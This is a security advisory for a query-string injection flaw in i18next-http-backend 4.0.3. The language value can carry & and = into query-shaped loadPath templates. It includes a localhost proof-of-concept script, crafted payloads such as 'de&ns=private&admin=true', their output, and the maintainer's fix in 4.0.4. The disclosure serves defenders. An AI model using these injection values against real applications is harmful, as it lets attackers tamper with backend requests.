CVE-2026-118258

The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.

Server side (Express + i18next-http-middleware, default options), GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue makes the application request …?lng=de&ns=private&admin=true&ns=common from its own translations API.

Details

The checks are in lib/utils.js. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:

• empty or >128-character values and prototype keys;
• .. and \;
• /[?#%:\s]/;
• control characters.

isSafeLangUrlSegment (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only / and @. Neither function rejects & or =.

if (/[?#%:\s]/.test(v)) return false   // utils.js L40, no & or =

interpolateUrl then splits on +, checks each segment, and joins the raw segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).

Call sites:

• _readAny builds the load URL with interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64
• create builds the missing-key URL with interpolateUrl(addPath, { lng, ns }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133

The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.

Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.

Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.

Proof of concept

How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):

1. mkdir i18next-poc && cd i18next-poc
2. npm init -y
3. npm i [email protected] [email protected] [email protected] [email protected]
4. Save the script below as poc.mjs
5. node poc.mjs

// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts
// {{lng}} in the query string (README multiload shape) gets extra parameters.
// Everything runs on 127.0.0.1: a fake translations API and an Express app.
import http from 'node:http'
import express from 'express'
import i18next from 'i18next'
import Backend from 'i18next-http-backend'
import middleware from 'i18next-http-middleware'

const seen = []
const api = http.createServer((req, res) => {
  seen.push(req.url)
  res.setHeader('content-type', 'application/json')
  res.end('{"hello":"hi"}')
})
await new Promise((r) => api.listen(0, '127.0.0.1', r))
const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`
const wait = () => new Promise((r) => setTimeout(r, 200))

// 1) Direct: lng values passed to i18next as-is.
console.log('[1] direct init')
for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {
  seen.length = 0
  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })
  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)
}

// 2) Server side: language taken from the request by i18next-http-middleware (default options).
console.log('[2] Express + i18next-http-middleware LanguageDetector')
const i18n = i18next.createInstance()
await i18n.use(Backend).use(middleware.LanguageDetector)
  .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })
const app = express()
app.use(middleware.handle(i18n))
app.get('/', (req, res) => res.send(req.t('hello')))
const web = app.listen(0, '127.0.0.1')
await new Promise((r) => web.on('listening', r))
await wait()
for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {
  seen.length = 0
  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text())
  await wait()
  console.log(`    GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`)
}
web.close()
api.close()

Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):

[1] direct init
    lng="de"                         -> API got: /locales/resources.json?lng=de&ns=common
    lng="de?admin=true"              -> API got: (no request, refused)
    lng="de&ns=private&admin=true"   -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
[2] Express + i18next-http-middleware LanguageDetector
    GET /?lng=de                               -> API got: /locales/resources.json?lng=de&ns=common
    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common

The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.

Maintainer note

Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).

Preconditions. The loadPath / addPath template must put {{lng}} or {{ns}} in the query string (for example /locales/resources.json?lng={{lng}}&ns={{ns}}, the multiload shape), and the attacker must control the language or namespace value. The default /locales/{{lng}}/{{ns}}.json and other path-only templates are not affected, nor are applications that restrict languages with supportedLngs. The impact depends on what the translations API does with the injected parameters.

Fix. &, = and ; are now rejected in both lng and ns values, in addition to the ?, #, % and : rejected before. No language code or usable namespace name contains them. +-joined multiload values such as de+en keep working, verified end to end with i18next-multiload-backend-adapter.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.4.

Related. i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.